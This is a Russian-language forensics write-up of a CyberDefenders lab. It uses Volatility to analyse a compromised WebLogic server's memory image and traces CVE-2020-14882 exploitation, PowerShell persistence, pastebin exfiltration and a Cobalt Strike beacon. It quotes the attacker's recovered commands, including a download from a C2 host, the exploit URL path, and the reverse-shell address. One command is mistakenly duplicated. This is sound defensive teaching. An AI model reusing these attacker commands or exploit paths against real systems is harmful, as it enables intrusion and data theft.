Хакер - Уроки форензики. Извлекаем артефакты из дампа памяти сервера

https://t.me/hacker_frei

rayhunt454

Содержание статьи

• Используемые утилиты
• Исследование образа памяти
• Выводы

Ког­да зло­умыш­ленни­ки ата­куют сеть пред­при­ятия, у спе­циалис­тов по информа­цион­ной безопас­ности зачас­тую оста­ется не так уж и мно­го матери­ала для иссле­дова­ний — нап­ример, толь­ко образ памяти ском­про­мети­рован­ного сер­вера. Подоб­ную ситу­ацию опи­сыва­ет задание BSidesJeddah-Part2 с ресур­са CyberDefenders, которое мы сегод­ня раз­берем.

На­ша задача — выявить при­чины взло­ма веб‑сер­виса, раз­верну­того на Oracle WebLogic Server, и научить­ся извле­кать основные арте­фак­ты из обра­за опе­ратив­ной памяти Windows.

По сце­нарию устрой­ство монито­рин­га сетевой безопас­ности зафик­сирова­ло подоз­ритель­ный тра­фик, исхо­дящий от одно­го из веб‑сер­веров орга­низа­ции. Мы дол­жны про­ана­лизи­ровать образ памяти сер­вера и вос­ста­новить кар­тину взло­ма информа­цион­ного ресур­са. 

ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ

1. Volatility Framework 2.6.1 — инс­тру­мент, реали­зован­ный на Python вер­сии 2 и пред­назна­чен­ный для извле­чения арте­фак­тов из образцов энер­гозави­симой памяти.
2. Volatility 3 — обновлен­ный инс­тру­мент для извле­чения арте­фак­тов, раз­работан­ный на Python 3.

Заг­рузим файл ар­хива с арте­фак­тами, извле­чем из него файл memory.mem (SHA256:5b3b1e1c92ddb1c128eca0fa8c917c16c275ad4c95b19915a288a745f9960f39) и прис­тупим к иссле­дова­нию.

ИССЛЕДОВАНИЕ ОБРАЗА ПАМЯТИ

При работе с этим обра­зом мы будем поль­зовать­ся фрей­мвор­ком Volatility вер­сий 2 и 3. Их основное раз­личие опи­сано в до­кумен­тации. Удобс­тво работы с треть­ей вер­сией зак­люча­ется в том, что она не исполь­зует про­фили опе­раци­онной сис­темы, а уме­ет опре­делять их на лету, с помощью таб­лиц сим­волов Windows. Но боль­шинс­тво пла­гинов раз­работа­но для вто­рой вер­сии.

По­лучим про­филь опе­раци­онной сис­темы для работы с ути­литой Volatility 2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem imageinfo

Про­филь опе­раци­онной сис­темы — Win2016x64_14393.

Преж­де чем мы прис­тупим к ана­лизу арте­фак­тов, необ­ходимо понять, с какой сис­темой мы работа­ем. Для это­го получим вер­сию опе­раци­онной сис­темы, имя компь­юте­ра, а так­же сетевой адрес. Про­бежим­ся по клю­чам реес­тра с исполь­зовани­ем пла­гина printkey.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "ControlSet001\Control\ComputerName\ComputerName"

Имя компь­юте­ра — WIN-8QOTRH7EMHC.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\Services\Tcpip\Parameters\Interfaces"

Мы получи­ли спи­сок иден­тифика­торов сетевых интерфей­сов. Про­верим каж­дый из них.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\Services\Tcpip\Parameters\Interfaces\{792f6020-c342-4520-922a-542fbfccc4b6}"

Се­тевой адрес компь­юте­ра — 192.168.144.131, IP-адрес выда­ется DHCP-сер­вером 192.168.144.254.

Те­перь получим информа­цию о вер­сии опе­раци­онной сис­темы.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "Microsoft\Windows NT\CurrentVersion"

Вер­сия опе­раци­онной сис­темы — Windows Server 2016 Standard Evaluation.

По­лучим вре­мя, которое было зафик­сирова­но в момент сня­тия обра­за опе­ратив­ной памяти. Для это­го вос­поль­зуем­ся пла­гином windows.info ути­литы Volatility 3.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.info

Сис­темное вре­мя — 2021-08-06 16:13:23.

Да­лее попыта­емся вос­ста­новить дей­ствия поль­зовате­ля в сис­теме. Про­ана­лизи­руем исто­рию бра­узе­ра, в дан­ном слу­чае Internet Explorer. Для это­го вос­поль­зуем­ся пла­гином iehistory.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 iehistory > c63-bsidesjeddah-mem/iehistory.txt

Нам уда­лось выяс­нить, что 6 августа 2021 года поль­зователь Administrator посетил стра­ницу news.google.com.

Те­перь прис­тупим к поис­ку вре­донос­ной активнос­ти. Для это­го нам необ­ходимо про­ана­лизи­ровать про­цес­сы, сетевой тра­фик, коман­ды запус­ка исполня­емых фай­лов, а так­же иссле­довать стро­ки про­цес­сов.

Для начала получим спи­сок запущен­ных в сис­теме про­цес­сов, а так­же сетевую активность и сох­раним резуль­тат работы пла­гинов в фай­лы pstree.txt и netscan.txt соот­ветс­твен­но.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 pstree > c63-bsidesjeddah-mem/pstree.txt

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 netscan > c63-bsidesjeddah-mem/netscan.txt

В спис­ке про­цес­сов мож­но заменить прог­рамму RamCapture.exe ком­пании Belkasoft.

В фай­ле netscan.txt отме­чено две­над­цать ста­биль­ных сетевых соеди­нений, об этом нам говорит колон­ка State, демонс­три­рующая работу пла­гина netscan с уста­нов­ленным зна­чени­ем ESTABLISHED.

Про­ана­лизи­руем дерево про­цес­сов и най­дем сре­ди них ано­маль­ные. Необ­ходимо обра­щать вни­мание на про­цес­сы, которые запус­кают дочер­ний про­цесс с име­нами cmd.exe, powershell.exe, conhost.exe, а так­же на исполня­емые фай­лы с нес­тандар­тным рас­положе­нием.

Про­цес­сом java.exe (иден­тифика­тор 4752) запуще­но мно­жес­тво дочер­них powershell.exe, что может сви­детель­ство­вать о подоз­ритель­ной активнос­ти. Так­же у про­цес­са powershell.exe (иден­тифика­тор 4344) запуще­ны дочер­ние про­цес­сы conhost.exe (иден­тифика­тор 4636) и svchost.exe (иден­тифика­тор 1488).

По­лучим дамп дан­ных про­цес­сов и про­ана­лизи­руем их стро­ки.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4752 -D c63-bsidesjeddah-mem/

Мы сох­ранили дамп в файл 4752.dmp.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4344 -D c63-bsidesjeddah-mem/

Ре­зуль­тат работы сох­ранен в фай­ле 4344.dmp.

Те­перь с помощью ути­литы strings вытащим все стро­ки и сох­раним их в файл.

strings 4752.dmp > str_4752.txt

strings 4344.dmp > str_4344.txt

Преж­де чем ана­лизи­ровать стро­ки, получим аргу­мен­ты коман­дной стро­ки для запус­ка про­цес­сов. Для это­го вос­поль­зуем­ся пла­гином cmdline и най­дем в нем про­цесс java.exe (иден­тифика­тор 4752).

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 cmdline > c63-bsidesjeddah-mem/cmdline.txt

Про­цесс cmd.exe (иден­тифика­тор 4556), который явля­ется родите­лем про­цес­са java.exe (4752), запус­кает сер­вер WebLogic. Зна­чит, про­цесс java.exe — резуль­тат работы веб‑сер­вера.

Вы­ясним вер­сию WebLogic, для это­го получим спи­сок фай­лов в сис­теме.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 filescan > c63-bsidesjeddah-mem/filescan.txt

Ана­лизи­руя спи­сок фай­лов, мы обна­ружи­ваем файл лога веб‑сер­вера WebLogic — AdminServer.log.

Вос­ста­новим его и про­ана­лизи­руем: вир­туаль­ный адрес фай­ла в обра­зе памяти — 0xb68cb2c205c0. Вос­ста­новить этот файл с исполь­зовани­ем ути­литы Volatility 2 мне не уда­лось, поп­робу­ем это сде­лать с помощью Volatility 3.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles --virtaddr 0xb68cb2c205c0

В вос­ста­нов­ленном фай­ле ука­зана вер­сия WebLogic Server — 14.1.1.0.0.

Слу­шатель WebLogic Server работа­ет на пор­те 7001, но зап­росы к веб‑сер­веру идут на 80-й порт.

Най­дем перенап­равле­ние пор­та в клю­че реес­тра PortProxy, для это­го вос­поль­зуем­ся пла­гином printkey.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "ControlSet001\Services\PortProxy\v4tov4\tcp"

В сис­теме уста­нов­лено перенап­равле­ние пор­та 80:7001.

Мы выяс­нили вер­сию веб‑сер­вера: она уяз­вима и поз­воля­ет выпол­нять уда­лен­ный код в сис­теме. В фай­ле лога AdminServer.log вид­ны резуль­таты выпол­нения фун­кции com.tangosol.coherence.mvel2.sh.ShellSession, а так­же зап­рос к /console/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage.

Те­перь най­дем про­цесс, через который зло­умыш­ленник получил пер­воначаль­ный дос­туп. У нас есть дамп про­цес­са 4752, мы наш­ли его стро­ки, теперь оты­щем в нем GET-зап­рос с парамет­ром handle=com.tangosol.coherence.mvel2.sh.ShellSession.

Итак, иско­мый про­цесс — это java.exe, иден­тифика­тор 4752. Имен­но он был ответс­тве­нен за пер­воначаль­ный дос­туп к сис­теме. Зло­умыш­ленник про­экс­плу­ати­ровал уяз­вимость CVE-2020-14882 в сер­вере WebLogic вер­сии 14.1.1.0.0, поз­воля­ющую выпол­нять уда­лен­ный код в сис­теме. Как вид­но из иллюс­тра­ции выше, хакер запус­тил обратную обо­лоч­ку с управля­ющим сер­вером 192.168.144.129:1339.

Ана­лизи­руя работу пла­гина netscan, мож­но уви­деть запущен­ный про­цесс powershell.exe (иден­тифика­тор 4344), который вза­имо­дей­ству­ет с 192.168.144.129:1339.

Вос­поль­зуем­ся пла­гином pslist и най­дем сле­дующий про­цесс в спис­ке ActiveProcessLinks, его иден­тифика­тор 4772.

Как вид­но из иллюс­тра­ции, про­цесс java.exe име­ет 44 потока. Про­дол­жим ана­лизи­ровать стро­ки про­цес­са java.exe.

В резуль­тате ана­лиза строк мож­но уви­деть заг­рузку фай­лов presist.ps1 и pastebin.ps1.

Поп­робу­ем вос­ста­новить коман­ды для заг­рузки этих фай­лов. Так как коман­ды выпол­няют­ся с исполь­зовани­ем PowerShell, получим дамп всех про­цес­сов powershell.exe, запущен­ных от име­ни java.exe (иден­тифика­тор 4752). Для это­го вос­поль­зуем­ся пла­гином memdump. Вос­ста­новим коман­ду для заг­рузки сце­нари­ев PowerShell.

strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u

Ко­ман­да для заг­рузки сце­нария presist.ps1 выг­лядит сле­дующим обра­зом:

Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1" -OutFile "./presist.ps1"

Заг­рузка фай­ла pastebin.ps1 выпол­нялась при помощи сле­дующей коман­ды:

strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u

Най­дем код pastebin.ps1 и про­ана­лизи­руем его. Для это­го будем искать этот код в стро­ках дам­па наших про­цес­сов. При иссле­дова­нии резуль­татов вывода пла­гина cmdline мы замети­ли, что про­цесс notepad.exe (иден­тифика­тор 4596) открыл файл exfiltrator.txt.

По­лучим дамп про­цес­са 4596 и про­ана­лизи­руем стро­ки.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4596 -D c63-bsidesjeddah-mem/

Этот скрипт пред­назна­чен для выг­рузки тек­сто­вых фай­лов на ресурс pastebin.com, но ему в качес­тве парамет­ра необ­ходимо ука­зать ссыл­ку. Поиск ссыл­ки на выг­рузку фай­лов в стро­ках дам­па про­цес­са notepad.exe не дал резуль­татов.

В стро­ках вре­донос­ного про­цес­са 4344 уда­лось обна­ружить ссыл­ку https://pastebin.com/A0Ljk8tu для выг­рузки фай­лов. Зна­чит, скрипт pastebin.ps1 запус­кался от име­ни дан­ного про­цес­са.

Най­дем методы зак­репле­ния зло­умыш­ленни­ка в сис­теме. Для это­го вос­поль­зуем­ся пла­гином autoruns или про­ана­лизи­руем стро­ки про­цес­са 4344.

Зло­умыш­ленник соз­дал служ­бу ServiceUpdate, которая запус­кает обратную обо­лоч­ку с управля­ющим сер­вером 192.168.144.129, порт 1339. Сог­ласно мат­рице MITRE ATT&CK, иден­тифика­тор этой тех­ники — T1053.005.

Про­дол­жаем ана­лизи­ровать вре­донос­ные про­цес­сы. Получим дамп про­цес­са svchost.exe (иден­тифика­тор 1488), най­дем его вир­туаль­ный адрес рас­положе­ния фай­ла в сис­теме и с помощью пла­гина windows.dumpfiles ути­литы Volatility 3 выг­рузим его.

Вир­туаль­ный адрес фай­ла в обра­зе памяти — 0xb68cb2b8a080. Вос­ста­новим его.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles --virtaddr 0xb68cb2b8a080

Пос­ле вос­ста­нов­ления получим MD5-сум­му фай­ла 2c5ae1d11a02d19ab65f5fc06a33d603 и про­верим ее на VirusTotal. Сог­ласно отче­ту анти­вирус­ных ком­паний, перед нами полез­ная наг­рузка фрей­мвор­ка Cobalt Strike. Получим дамп про­цес­са и поп­робу­ем вытащить кон­фигура­цию C2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 1488 -D c63-bsidesjeddah-mem/

Заг­рузим ути­литу parse cobalt strike config и най­дем в памяти про­цес­са кон­фигура­цию маяка.

python3 parse_beacon_config.py ../pid.1488.dmp --version 4

Мы узна­ли тип маяка (HTTP), адрес управля­юще­го сер­вера (192.168.144.129), порт (1339), а так­же пуб­личный ключ. Получим MD5-сум­му клю­ча.

echo MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCknNpTPXGlTqpVXN9GP8xG/Otf4yDG2QQCJFReupN16br/aMd+0RTSqOmKCjMHdR6fm133/abvH1KVRge7oNowjO0RvdKVZTnNZqPnOkruOd7pDvjcJ13huwnsGA6rqW3jwNNb1hDix6K4H+DGYx/RQTxDc/nhj59Ae/5Tz9iC/QIDAQAB" | base64 -d | md5sum

MD5-сум­ма пуб­лично­го клю­ча — fc627cf00878e4d4f7997cb26a80e6fc.

ВЫВОДЫ

Мы про­вели рас­сле­дова­ние инци­ден­та и вос­ста­нови­ли кар­тину взло­ма ресур­са: 6 августа 2021 года зло­умыш­ленник про­экс­плу­ати­ровал уяз­вимость CVE-2020-14882 в Oracle WebLogic Server, которая поз­воля­ет не про­шед­шим авто­риза­цию поль­зовате­лям выпол­нять уда­лен­ный код в сис­теме.

Та­ким обра­зом ата­кующий заг­рузил обратную обо­лоч­ку с управля­ющим сер­вером 192.168.144.129, порт 1339. Далее он зак­репил­ся в сис­теме, соз­дав служ­бу ServiceUpdate. Для это­го зло­умыш­ленник заг­рузил PowerShell-сце­нарий presist.ps1. Дан­ный сце­нарий соз­дает служ­бу ServiceUpdate, которая запус­кает обратную обо­лоч­ку.

Для эксфиль­тра­ции дан­ных зло­умыш­ленник заг­рузил сце­нарий pastebin.ps1, который отправ­ляет соб­ранные фай­лы на уда­лен­ный сер­вер. Затем ата­кующий заг­рузил маяк Cobalt Strike для пос­тэкс­плу­ата­ции в сис­теме.

В ходе нашего рас­сле­дова­ния мы научи­лись извле­кать кон­фигура­цию маяка из памяти, а так­же искать важ­ные арте­фак­ты в памяти про­цес­сов.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei